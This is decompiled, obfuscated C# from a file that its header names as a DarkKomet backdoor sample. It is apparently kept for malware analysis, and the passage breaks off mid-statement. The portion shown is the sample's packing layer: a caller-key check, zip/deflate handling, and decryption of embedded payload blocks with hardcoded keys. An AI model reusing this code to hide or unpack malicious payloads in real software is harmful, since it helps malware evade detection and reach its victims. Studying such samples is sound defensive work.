// Decompiled with JetBrains decompiler
// Type: .
// Assembly: Idm, Version=6.5.8.1, Culture=neutral, PublicKeyToken=null
// MVID: 8A2CC06E-B699-4A98-98EE-08831FC9C995
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Backdoor.Win32.DarkKomet.gwon-35b4a84324681a1000c14cf114b6f94ada34eb6c6ca38b9a4584b31e742aece3.exe

using \u0012;
using \u007F\u0004;
using System;
using System.IO;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;

namespace \u0012
{
  internal class \u0014
  {
    public static string \u0001;

    private static bool \u000F\u0002([In] Assembly obj0, [In] Assembly obj1)
    {
      byte[] publicKey1;
      byte[] publicKey2;
      int index;
      try
      {
        publicKey1 = obj0.GetName().GetPublicKey();
        publicKey2 = obj1.GetName().GetPublicKey();
        if (publicKey2 == null != (publicKey1 == null))
          return false;
        if (publicKey2 != null)
        {
          for (index = 0; index < publicKey2.Length; ++index)
          {
            if ((int) publicKey2[index] != (int) publicKey1[index])
              return false;
          }
        }
        return true;
      }
      catch (Exception ex)
      {
        byte[] numArray1 = publicKey1;
        byte[] numArray2 = publicKey2;
        // ISSUE: variable of a boxed type
        __Boxed<int> local = (ValueType) index;
        Assembly assembly1 = obj0;
        Assembly assembly2 = obj1;
        \u0089\u0004.\u001C\u0005(ex, (object) numArray1, (object) numArray2, (object) local, (object) assembly1, (object) assembly2);
        throw;
      }
    }

    public static byte[] \u0010\u0002([In] byte[] obj0)
    {
      Assembly executingAssembly;
      Assembly callingAssembly;
      \u0014.\u001F obj1;
      byte[] numArray1;
      int num1;
      short num2;
      int num3;
      int num4;
      int length1;
      int count1;
      int count2;
      byte[] buffer1;
      byte[] buffer2;
      byte[] buffer3;
      \u0014.\u0015 obj2;
      int num5;
      int length2;
      int num6;
      int length3;
      int num7;
      byte[] buffer4;
      \u0014.\u0015 obj3;
      byte[] numArray2;
      byte[] numArray3;
      \u0013 obj4;
      ICryptoTransform cryptoTransform1;
      byte[] numArray4;
      byte[] numArray5;
      byte[] numArray6;
      \u0011 obj5;
      ICryptoTransform cryptoTransform2;
      byte[] numArray7;
      try
      {
        callingAssembly = Assembly.GetCallingAssembly();
        executingAssembly = Assembly.GetExecutingAssembly();
        if ((object) callingAssembly != (object) executingAssembly && !\u0014.\u000F\u0002(executingAssembly, callingAssembly))
          return (byte[]) null;
        obj1 = new \u0014.\u001F(obj0);
        numArray1 = new byte[0];
        num1 = obj1.\u0018\u0003();
        if (num1 == 67324752)
        {
          num2 = (short) obj1.\u0017\u0003();
          num3 = obj1.\u0017\u0003();
          num4 = obj1.\u0017\u0003();
          if (num1 != 67324752 || num2 != (short) 20 || num3 != 0 || num4 != 8)
            throw new FormatException("Wrong Header Signature");
          obj1.\u0018\u0003();
          obj1.\u0018\u0003();
          obj1.\u0018\u0003();
          length1 = obj1.\u0018\u0003();
          count1 = obj1.\u0017\u0003();
          count2 = obj1.\u0017\u0003();
          if (count1 > 0)
          {
            buffer1 = new byte[(int) checked ((uint) count1)];
            obj1.Read(buffer1, 0, count1);
          }
          if (count2 > 0)
          {
            buffer2 = new byte[(int) checked ((uint) count2)];
            obj1.Read(buffer2, 0, count2);
          }
          buffer3 = new byte[(int) checked ((uint) unchecked (obj1.Length - obj1.Position))];
          obj1.Read(buffer3, 0, buffer3.Length);
          obj2 = new \u0014.\u0015(buffer3);
          numArray1 = new byte[(int) checked ((uint) length1)];
          obj2.\u0016\u0002(numArray1, 0, numArray1.Length);
          buffer3 = (byte[]) null;
        }
        else
        {
          num5 = num1 >> 24;
          num1 -= num5 << 24;
          if (num1 != 8223355)
            throw new FormatException("Unknown Header");
          if (num5 == 1)
          {
            length2 = obj1.\u0018\u0003();
            numArray1 = new byte[(int) checked ((uint) length2)];
            for (num6 = 0; num6 < length2; num6 += num7)
            {
              length3 = obj1.\u0018\u0003();
              num7 = obj1.\u0018\u0003();
              buffer4 = new byte[(int) checked ((uint) length3)];
              obj1.Read(buffer4, 0, buffer4.Length);
              obj3 = new \u0014.\u0015(buffer4);
              obj3.\u0016\u0002(numArray1, num6, num7);
            }
          }
          if (num5 == 2)
          {
            numArray2 = new byte[8]
            {
              (byte) 181,
              (byte) 74,
              (byte) 99,
              (byte) 84,
              (byte) 237,
              (byte) 91,
              (byte) 29,
              (byte) 145
            };
            numArray3 = new byte[8]
            {
              (byte) 137,
              (byte) 42,
              (byte) 55,
              (byte) 68,
              (byte) 132,
              (byte) 214,
              (byte) 105,
              (byte) 32
            };
            obj4 = new \u0013();
            try
            {
              cryptoTransform1 = obj4.\u000E\u0002(numArray2, numArray3, true);
              try
              {
                numArray4 = cryptoTransform1.TransformFinalBlock(obj0, 4, obj0.Length - 4);
                numArray1 = \u0014.\u0010\u0002(numArray4);
              }
              finally
              {
                cryptoTransform1?.Dispose();
              }
            }
            finally
            {
              obj4?.Dispose();
            }
          }
          if (num5 == 3)
          {
            numArray5 = new byte[16]
            {
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1,
              (byte) 1
            };
            numArray6 = new byte[16]
            {
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2,
              (byte) 2
            };
            obj5 = new \u0011();
            try
            {
              cryptoTransform2 = obj5.\u0007\u0002(numArray5, numArray6, true);
              try
              {
                numArray7 = cryptoTransform2.TransformFinalBlock(obj0, 4, obj0.Length - 4);
                numArray1 = \u0014.\u0010\u0002(numArray7);
              }
              finally
              {
                cryptoTransform2?.Dispose();
              }
            }
            finally
            {
              obj5?.Dispose();
            }
          }
        }
        obj1.Close();
        return numArray1;
      }
      catch (Exception ex)
      {
        object[] objArray = new object[33]
        {
          (object) callingAssembly,
          (object) executingAssembly,
          (object) obj1,
          (object) numArray1,
          (object) num1,
          (object) num2,
          (object) num3,
          (object) num4,
          (object) length1,
          (object) count1,
          (object) count2,
          (object) buffer1,
          (object) buffer2,
          (object) buffer3,
          (object) obj2,
          (object) num5,
          (object) length2,
          (object) num6,
          (object) length3,
          (object) num7,
          (object) obj3,
          (object) buffer4,
          (object) numArray2,
          (object) numArray3,
          (object) obj4,
          (object) cryptoTransform1,
          (object) numArray4,
          (object) numArray5,
          (object) numArray6,
          (object) obj5,
          (object) cryptoTransform2,
          (object) numArray7,
          (object) obj0
        };
        \u0089\u0004.\u0081\u0005(ex, objArray);
        throw;
      }
    }

    public static byte[] \u0011\u0002([In] byte[] obj0)
    {
      try
      {
        return \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null);
      }
      catch (Exception ex)
      {
        byte[] numArray = obj0;
        \u0089\u0004.\u0018\u0005(ex, (object) numArray);
        throw;
      }
    }

    private static byte[] \u0011\u0002([In] byte[] obj0, [In] int obj1, [In] byte[] obj2, [In] byte[] obj3)
    {
      \u0014.\u001A obj4;
      DateTime now;
      long num1;
      uint[] numArray1;
      uint maxValue;
      uint num2;
      int num3;
      int length;
      \u0014.\u001F obj5;
      long position1;
      byte[] bytes;
      byte[] buffer1;
      int count1;
      byte[] buffer2;
      int count2;
      long num4;
      int srcOffset;
      byte[] dst;
      long position2;
      \u0014.\u001A obj6;
      byte[] buffer3;
      int count3;
      byte[] buffer4;
      int count4;
      long position3;
      byte[] inputBuffer1;
      \u0013 obj7;
      ICryptoTransform cryptoTransform1;
      byte[] buffer5;
      byte[] inputBuffer2;
      \u0011 obj8;
      ICryptoTransform cryptoTransform2;
      byte[] buffer6;
      try
      {
        byte[] array;
        try
        {
          \u0014.\u001F obj9 = new \u0014.\u001F();
          if (true)
            obj5 = obj9;
          switch (obj1)
          {
            case 0:
              obj4 = new \u0014.\u001A();
              now = DateTime.Now;
              num1 = (long) ((uint) ((now.Year - 1980 & (int) sbyte.MaxValue) << 25 | now.Month << 21 | now.Day << 16 | now.Hour << 11 | now.Minute << 5) | (uint) now.Second >> 1);
              numArray1 = new uint[256]
              {
                0U,
                1996959894U,
                3993919788U,
                2567524794U,
                124634137U,
                1886057615U,
                3915621685U,
                2657392035U,
                249268274U,
                2044508324U,
                3772115230U,
                2547177864U,
                162941995U,
                2125561021U,
                3887607047U,
                2428444049U,
                498536548U,
                1789927666U,
                4089016648U,
                2227061214U,
                450548861U,
                1843258603U,
                4107580753U,
                2211677639U,
                325883990U,
                1684777152U,
                4251122042U,
                2321926636U,
                335633487U,
                1661365465U,
                4195302755U,
                2366115317U,
                997073096U,
                1281953886U,
                3579855332U,
                2724688242U,
                1006888145U,
                1258607687U,
                3524101629U,
                2768942443U,
                901097722U,
                1119000684U,
                3686517206U,
                2898065728U,
                853044451U,
                1172266101U,
                3705015759U,
                2882616665U,
                651767980U,
                1373503546U,
                3369554304U,
                3218104598U,
                565507253U,
                1454621731U,
                3485111705U,
                3099436303U,
                671266974U,
                1594198024U,
                3322730930U,
                2970347812U,
                795835527U,
                1483230225U,
                3244367275U,
                3060149565U,
                1994146192U,
                31158534U,
                2563907772U,
                4023717930U,
                1907459465U,
                112637215U,
                2680153253U,
                3904427059U,
                2013776290U,
                251722036U,
                2517215374U,
                3775830040U,
                2137656763U,
                141376813U,
                2439277719U,
                3865271297U,
                1802195444U,
                476864866U,
                2238001368U,
                4066508878U,
                1812370925U,
                453092731U,
                2181625025U,
                4111451223U,
                1706088902U,
                314042704U,
                2344532202U,
                4240017532U,
                1658658271U,
                366619977U,
                2362670323U,
                4224994405U,
                1303535960U,
                984961486U,
                2747007092U,
                3569037538U,
                1256170817U,
                1037604311U,
                2765210733U,
                3554079995U,
                1131014506U,
                879679996U,
                2909243462U,
                3663771856U,
                1141124467U,
                855842277U,
                2852801631U,
                3708648649U,
                1342533948U,
                654459306U,
                3188396048U,
                3373015174U,
                1466479909U,
                544179635U,
                3110523913U,
                3462522015U,
                1591671054U,
                702138776U,
                2966460450U,
                3352799412U,
                1504918807U,
                783551873U,
                3082640443U,
                3233442989U,
                3988292384U,
                2596254646U,
                62317068U,
                1957810842U,
                3939845945U,
                2647816111U,
                81470997U,
                1943803523U,
                3814918930U,
                2489596804U,
                225274430U,
                2053790376U,
                3826175755U,
                2466906013U,
                167816743U,
                2097651377U,
                4027552580U,
                2265490386U,
                503444072U,
                1762050814U,
                4150417245U,
                2154129355U,
                426522225U,
                1852507879U,
                4275313526U,
                2312317920U,
                282753626U,
                1742555852U,
                4189708143U,
                2394877945U,
                397917763U,
                1622183637U,
                3604390888U,
                2714866558U,
                953729732U,
                1340076626U,
                3518719985U,
                2797360999U,
                1068828381U,
                1219638859U,
                3624741850U,
                2936675148U,
                906185462U,
                1090812512U,
                3747672003U,
                2825379669U,
                829329135U,
                1181335161U,
                3412177804U,
                3160834842U,
                628085408U,
                1382605366U,
                3423369109U,
                3138078467U,
                570562233U,
                1426400815U,
                3317316542U,
                2998733608U,
                733239954U,
                1555261956U,
                3268935591U,
                3050360625U,
                752459403U,
                1541320221U,
                2607071920U,
                3965973030U,
                1969922972U,
                40735498U,
                2617837225U,
                3943577151U,
                1913087877U,
                83908371U,
                2512341634U,
                3803740692U,
                2075208622U,
                213261112U,
                2463272603U,
                3855990285U,
                2094854071U,
                198958881U,
                2262029012U,
                4057260610U,
                1759359992U,
                534414190U,
                2176718541U,
                4139329115U,
                1873836001U,
                414664567U,
                2282248934U,
                4279200368U,
                1711684554U,
                285281116U,
                2405801727U,
                4167216745U,
                1634467795U,
                376229701U,
                2685067896U,
                3608007406U,
                1308918612U,
                956543938U,
                2808555105U,
                3495958263U,
                1231636301U,
                1047427035U,
                2932959818U,
                3654703836U,
                1088359270U,
                936918000U,
                2847714899U,
                3736837829U,
                1202900863U,
                817233897U,
                3183342108U,
                3401237130U,
                1404277552U,
                615818150U,
                3134207493U,
                3453421203U,
                1423857449U,
                601450431U,
                3009837614U,
                3294710456U,
                1567103746U,
                711928724U,
                3020668471U,
                3272380065U,
                1510334235U,
                755167117U
              };
              maxValue = uint.MaxValue;
              num2 = maxValue;
              num3 = 0;
              length = obj0.Length;
              while (--length >= 0)
                num2 = numArray1[(IntPtr) (uint) (((int) num2 ^ (int) obj0[num3++]) & (int) byte.MaxValue)] ^ num2 >> 8;
              num2 ^= maxValue;
              obj5.\u0016\u0003(67324752);
              obj5.\u000F\u0003(20);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(8);
              obj5.\u0016\u0003((int) num1);
              obj5.\u0016\u0003((int) num2);
              position1 = obj5.Position;
              obj5.\u0016\u0003(0);
              obj5.\u0016\u0003(obj0.Length);
              bytes = Encoding.UTF8.GetBytes("{data}");
              obj5.\u000F\u0003(bytes.Length);
              obj5.\u000F\u0003(0);
              obj5.Write(bytes, 0, bytes.Length);
              obj4.\u001F\u0002(obj0);
              while (!obj4.\u001C\u0002())
              {
                buffer1 = new byte[512];
                count1 = obj4.\u008F\u0002(buffer1);
                if (count1 > 0)
                  obj5.Write(buffer1, 0, count1);
                else
                  break;
              }
              obj4.\u008D\u0002();
              while (!obj4.\u008E\u0002())
              {
                buffer2 = new byte[512];
                count2 = obj4.\u008F\u0002(buffer2);
                if (count2 > 0)
                  obj5.Write(buffer2, 0, count2);
                else
                  break;
              }
              num4 = obj4.\u008C\u0002();
              obj5.\u0016\u0003(33639248);
              obj5.\u000F\u0003(20);
              obj5.\u000F\u0003(20);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(8);
              obj5.\u0016\u0003((int) num1);
              obj5.\u0016\u0003((int) num2);
              obj5.\u0016\u0003((int) num4);
              obj5.\u0016\u0003(obj0.Length);
              obj5.\u000F\u0003(bytes.Length);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(0);
              obj5.\u0016\u0003(0);
              obj5.\u0016\u0003(0);
              obj5.Write(bytes, 0, bytes.Length);
              obj5.\u0016\u0003(101010256);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(0);
              obj5.\u000F\u0003(1);
              obj5.\u000F\u0003(1);
              obj5.\u0016\u0003(46 + bytes.Length);
              obj5.\u0016\u0003((int) ((long) (30 + bytes.Length) + num4));
              obj5.\u000F\u0003(0);
              obj5.Seek(position1, SeekOrigin.Begin);
              obj5.\u0016\u0003((int) num4);
              break;
            case 1:
              obj5.\u0016\u0003(25000571);
              obj5.\u0016\u0003(obj0.Length);
              for (srcOffset = 0; srcOffset < obj0.Length; srcOffset += dst.Length)
              {
                dst = new byte[(int) checked ((uint) Math.Min(2097151, unchecked (obj0.Length - srcOffset)))];
                Buffer.BlockCopy((Array) obj0, srcOffset, (Array) dst, 0, dst.Length);
                position2 = obj5.Position;
                obj5.\u0016\u0003(0);
                obj5.\u0016\u0003(dst.Length);
                obj6 = new \u0014.\u001A();
                obj6.\u001F\u0002(dst);
                while (!obj6.\u001C\u0002())
                {
                  buffer3 = new byte[512];
                  count3 = obj6.\u008F\u0002(buffer3);
                  if (count3 > 0)
                    obj5.Write(buffer3, 0, count3);
                  else
                    break;
                }
                obj6.\u008D\u0002();
                while (!obj6.\u008E\u0002())
                {
                  buffer4 = new byte[512];
                  count4 = obj6.\u008F\u0002(buffer4);
                  if (count4 > 0)
                    obj5.Write(buffer4, 0, count4);
                  else
                    break;
                }
                position3 = obj5.Position;
                obj5.Position = position2;
                obj5.\u0016\u0003((int) obj6.\u008C\u0002());
                obj5.Position = position3;
              }
              break;
            case 2:
              obj5.\u0016\u0003(41777787);
              inputBuffer1 = \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null);
              obj7 = new \u0013();
              try
              {
                cryptoTransform1 = obj7.\u000E\u0002(obj2, obj3, false);
                try
                {
                  buffer5 = cryptoTransform1.TransformFinalBlock(inputBuffer1, 0, inputBuffer1.Length);
                  obj5.Write(buffer5, 0, buffer5.Length);
                  break;
                }
                finally
                {
                  cryptoTransform1?.Dispose();
                }
              }
              finally
              {
                obj7?.Dispose();
              }
            case 3:
              obj5.\u0016\u0003(58555003);
              inputBuffer2 = \u0014.\u0011\u0002(obj0, 1, (byte[]) null, (byte[]) null);
              obj8 = new \u0011();
              try
              {
                cryptoTransform2 = obj8.\u0007\u0002(obj2, obj3, false);
                try
                {
                  buffer6 = cryptoTransform2.TransformFinalBlock(inputBuffer2, 0, inputBuffer2.Length);
                  obj5.Write(buffer6, 0, buffer6.Length);
                  break;
                }
                finally
                {
                  cryptoTransform2?.Dispose();
                }
              }
              finally
              {
                obj8?.Dispose();
              }
          }
          obj5.Flush();
          obj5.Close();
          array = obj5.ToArray();
        }
        catch (Exception ex)
        {
          \u0014.\u0001 = "ERR 2003: " + ex.Message;
          throw;
        }
        return array;
      }
      catch (Exception ex)
      {
        byte[] numArray2;
        object[] objArray = new object[39]
        {
          (object) obj5,
          (object) obj4,
          (object) now,
          (object) num1,
          (object) numArray1,
          (object) maxValue,
          (object) num2,
          (object) num3,
          (object) length,
          (object) position1,
          (object) bytes,
          (object) buffer1,
          (object) count1,
          (object) buffer2,
          (object) count2,
          (object) num4,
          (object) srcOffset,
          (object) dst,
          (object) position2,
          (object) obj6,
          (object) buffer3,
          (object) count3,
          (object) buffer4,
          (object) count4,
          (object) position3,
          (object) inputBuffer1,
          (object) obj7,
          (object) cryptoTransform1,
          (object) buffer5,
          (object) inputBuffer2,
          (object) obj8,
          (object) cryptoTransform2,
          (object) buffer6,
          (object) ex,
          (object) numArray2,
          (object) obj0,
          (object) obj1,
          (object) obj2,
          (object) obj3
        };
        \u0089\u0004.\u0081\u0005(ex, objArray);
        throw;
      }
    }

    internal sealed class \u0015
    {
      private static readonly int[] \u0001;
      private static readonly int[] \u0002;
      private static readonly int[] \u0003;
      private static readonly int[] \u0004;
      private int \u0005;
      private int \u0006;
      private int \u0007;
      private int \u0008;
      private int \u000E;
      private bool \u000F;
      private \u0014.\u0016 \u0010;
      private \u0014.\u0017 \u0011;
      private \u0014.\u0019 \u0012;
      private \u0014.\u0018 \u0013;
      private \u0014.\u0018 \u0014;

      public \u0015([In] byte[] obj0)
      {
        try
        {
          this.\u0010 = new \u0014.\u0016();
          this.\u0011 = new \u0014.\u0017();
          this.\u0005 = 2;
          this.\u0010.\u001F\u0002(obj0, 0, obj0.Length);
        }
        catch (Exception ex)
        {
          byte[] numArray = obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) numArray);
          throw;
        }
      }

      private bool \u0014\u0002()
      {
        int num1;
        int index;
        int num2;
        int num3;
        int num4;
        try
        {
          num2 = this.\u0011.\u0084\u0002();
          while (num2 >= 258)
          {
            num1 = this.\u0005;
            switch (num1)
            {
              case 7:
                while (((index = this.\u0013.\u0089\u0002(this.\u0010)) & -256) == 0)
                {
                  this.\u0011.\u007F\u0002(index);
                  if (--num2 < 258)
                    return true;
                }
                if (index < 257)
                {
                  if (index < 0)
                    return false;
                  this.\u0014 = (\u0014.\u0018) null;
                  this.\u0013 = (\u0014.\u0018) null;
                  this.\u0005 = 2;
                  return true;
                }
                this.\u0007 = \u0014.\u0015.\u0001[index - 257];
                this.\u0006 = \u0014.\u0015.\u0002[index - 257];
                goto case 8;
              case 8:
                if (this.\u0006 > 0)
                {
                  this.\u0005 = 8;
                  num3 = this.\u0010.\u0017\u0002(this.\u0006);
                  if (num3 < 0)
                    return false;
                  this.\u0010.\u0018\u0002(this.\u0006);
                  this.\u0007 += num3;
                }
                this.\u0005 = 9;
                goto case 9;
              case 9:
                index = this.\u0014.\u0089\u0002(this.\u0010);
                if (index < 0)
                  return false;
                this.\u0008 = \u0014.\u0015.\u0003[index];
                this.\u0006 = \u0014.\u0015.\u0004[index];
                goto case 10;
              case 10:
                if (this.\u0006 > 0)
                {
                  this.\u0005 = 10;
                  num4 = this.\u0010.\u0017\u0002(this.\u0006);
                  if (num4 < 0)
                    return false;
                  this.\u0010.\u0018\u0002(this.\u0006);
                  this.\u0008 += num4;
                }
                this.\u0011.\u0081\u0002(this.\u0007, this.\u0008);
                num2 -= this.\u0007;
                this.\u0005 = 7;
                continue;
              default:
                continue;
            }
          }
          return true;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) index;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) num1;
          \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) local5, (object) this);
          throw;
        }
      }

      private bool \u0015\u0002()
      {
        int num1;
        int num2;
        int num3;
        int num4;
        try
        {
          num2 = this.\u0005;
          switch (num2)
          {
            case 2:
              if (this.\u000F)
              {
                this.\u0005 = 12;
                return false;
              }
              num1 = this.\u0010.\u0017\u0002(3);
              if (num1 < 0)
                return false;
              this.\u0010.\u0018\u0002(3);
              if ((num1 & 1) != 0)
                this.\u000F = true;
              num2 = num1 >> 1;
              switch (num2)
              {
                case 0:
                  this.\u0010.\u001B\u0002();
                  this.\u0005 = 3;
                  break;
                case 1:
                  this.\u0013 = \u0014.\u0018.\u0002;
                  this.\u0014 = \u0014.\u0018.\u0003;
                  this.\u0005 = 7;
                  break;
                case 2:
                  this.\u0012 = new \u0014.\u0019();
                  this.\u0005 = 6;
                  break;
              }
              return true;
            case 3:
              this.\u000E = num2 = this.\u0010.\u0017\u0002(16);
              if (num2 < 0)
                return false;
              this.\u0010.\u0018\u0002(16);
              this.\u0005 = 4;
              goto case 4;
            case 4:
              num3 = this.\u0010.\u0017\u0002(16);
              if (num3 < 0)
                return false;
              this.\u0010.\u0018\u0002(16);
              this.\u0005 = 5;
              goto case 5;
            case 5:
              num4 = this.\u0011.\u0082\u0002(this.\u0010, this.\u000E);
              this.\u000E -= num4;
              if (this.\u000E != 0)
                return !this.\u0010.\u001C\u0002();
              this.\u0005 = 2;
              return true;
            case 6:
              if (!this.\u0012.\u0015\u0002(this.\u0010))
                return false;
              this.\u0013 = this.\u0012.\u008A\u0002();
              this.\u0014 = this.\u0012.\u008B\u0002();
              this.\u0005 = 7;
              goto case 7;
            case 7:
            case 8:
            case 9:
            case 10:
              return this.\u0014\u0002();
            case 12:
              return false;
            default:
              return false;
          }
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num3;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num4;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) num2;
          \u0089\u0004.\u001C\u0005(ex, (object) local1, (object) local2, (object) local3, (object) local4, (object) this);
          throw;
        }
      }

      public int \u0016\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        try
        {
          num2 = 0;
          do
          {
            if (this.\u0005 != 11)
              goto label_5;
label_2:
            continue;
label_5:
            num1 = this.\u0011.\u0087\u0002(obj0, obj1, obj2);
            obj1 += num1;
            num2 += num1;
            obj2 -= num1;
            if (obj2 != 0)
              goto label_2;
            else
              goto label_1;
          }
          while (this.\u0015\u0002() || this.\u0011.\u0086\u0002() > 0 && this.\u0005 != 11);
          goto label_3;
label_1:
          return num2;
label_3:
          return num2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num1;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj2;
          \u0089\u0004.\u001D\u0005(ex, (object) local1, (object) local2, (object) this, (object) numArray, (object) local3, (object) local4);
          throw;
        }
      }

      static \u0015()
      {
        try
        {
          \u0014.\u0015.\u0001 = new int[29]
          {
            3,
            4,
            5,
            6,
            7,
            8,
            9,
            10,
            11,
            13,
            15,
            17,
            19,
            23,
            27,
            31,
            35,
            43,
            51,
            59,
            67,
            83,
            99,
            115,
            131,
            163,
            195,
            227,
            258
          };
          \u0014.\u0015.\u0002 = new int[29]
          {
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            1,
            1,
            1,
            1,
            2,
            2,
            2,
            2,
            3,
            3,
            3,
            3,
            4,
            4,
            4,
            4,
            5,
            5,
            5,
            5,
            0
          };
          \u0014.\u0015.\u0003 = new int[30]
          {
            1,
            2,
            3,
            4,
            5,
            7,
            9,
            13,
            17,
            25,
            33,
            49,
            65,
            97,
            129,
            193,
            257,
            385,
            513,
            769,
            1025,
            1537,
            2049,
            3073,
            4097,
            6145,
            8193,
            12289,
            16385,
            24577
          };
          \u0014.\u0015.\u0004 = new int[30]
          {
            0,
            0,
            0,
            0,
            1,
            1,
            2,
            2,
            3,
            3,
            4,
            4,
            5,
            5,
            6,
            6,
            7,
            7,
            8,
            8,
            9,
            9,
            10,
            10,
            11,
            11,
            12,
            12,
            13,
            13
          };
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0017\u0005(ex);
          throw;
        }
      }
    }

    internal sealed class \u0016
    {
      private byte[] \u0001;
      private int \u0002 = 0;
      private int \u0003 = 0;
      private uint \u0004 = 0;
      private int \u0005 = 0;

      public int \u0017\u0002([In] int obj0)
      {
        int num1;
        try
        {
          if (this.\u0005 < obj0)
            goto label_4;
label_3:
          return (int) ((long) this.\u0004 & (long) ((1 << obj0) - 1));
label_4:
          if (this.\u0002 == this.\u0003)
            return -1;
          \u0014.\u0016 obj = this;
          int num2 = (int) obj.\u0004;
          byte[] numArray1 = this.\u0001;
          num1 = this.\u0002++;
          int index1 = num1;
          int num3 = (int) numArray1[index1] & (int) byte.MaxValue;
          byte[] numArray2 = this.\u0001;
          num1 = this.\u0002++;
          int index2 = num1;
          int num4 = ((int) numArray2[index2] & (int) byte.MaxValue) << 8;
          int num5 = (num3 | num4) << this.\u0005;
          obj.\u0004 = (uint) (num2 | num5);
          this.\u0005 += 16;
          goto label_3;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) obj0;
          \u0089\u0004.\u001A\u0005(ex, (object) local1, (object) this, (object) local2);
          throw;
        }
      }

      public void \u0018\u0002([In] int obj0)
      {
        try
        {
          this.\u0004 >>= obj0;
          this.\u0005 -= obj0;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local = (ValueType) obj0;
          \u0089\u0004.\u0019\u0005(ex, (object) this, (object) local);
          throw;
        }
      }

      [SpecialName]
      public int \u0019\u0002()
      {
        try
        {
          return this.\u0005;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      [SpecialName]
      public int \u001A\u0002()
      {
        try
        {
          return this.\u0003 - this.\u0002 + (this.\u0005 >> 3);
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public void \u001B\u0002()
      {
        try
        {
          this.\u0004 >>= this.\u0005 & 7;
          this.\u0005 &= -8;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      [SpecialName]
      public bool \u001C\u0002()
      {
        try
        {
          return this.\u0002 == this.\u0003;
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public int \u001D\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num1;
        int num2;
        int num3;
        try
        {
          num1 = 0;
          while (this.\u0005 > 0 && obj2 > 0)
          {
            obj0[obj1++] = (byte) this.\u0004;
            this.\u0004 >>= 8;
            this.\u0005 -= 8;
            --obj2;
            ++num1;
          }
          if (obj2 == 0)
            return num1;
          num2 = this.\u0003 - this.\u0002;
          if (obj2 > num2)
            obj2 = num2;
          Array.Copy((Array) this.\u0001, this.\u0002, (Array) obj0, obj1, obj2);
          this.\u0002 += obj2;
          if ((this.\u0002 - this.\u0003 & 1) != 0)
          {
            byte[] numArray = this.\u0001;
            num3 = this.\u0002++;
            int index = num3;
            this.\u0004 = (uint) numArray[index] & (uint) byte.MaxValue;
            this.\u0005 = 8;
          }
          return num1 + obj2;
        }
        catch (Exception ex)
        {
          // ISSUE: variable of a boxed type
          __Boxed<int> local1 = (ValueType) num1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local2 = (ValueType) num2;
          // ISSUE: variable of a boxed type
          __Boxed<int> local3 = (ValueType) num3;
          byte[] numArray = obj0;
          // ISSUE: variable of a boxed type
          __Boxed<int> local4 = (ValueType) obj1;
          // ISSUE: variable of a boxed type
          __Boxed<int> local5 = (ValueType) obj2;
          \u0089\u0004.\u001E\u0005(ex, (object) local1, (object) local2, (object) local3, (object) this, (object) numArray, (object) local4, (object) local5);
          throw;
        }
      }

      public \u0016()
      {
        try
        {
        }
        catch (Exception ex)
        {
          \u0089\u0004.\u0018\u0005(ex, (object) this);
          throw;
        }
      }

      public void \u001F\u0002([In] byte[] obj0, [In] int obj1, [In] int obj2)
      {
        int num;
        try
        {
          if (this.\u0002 < this.\u0003)
            throw new InvalidOperationException();
          num = obj1 + obj2;
          if (0 > obj1 || obj1 > num || num > obj0.Length)
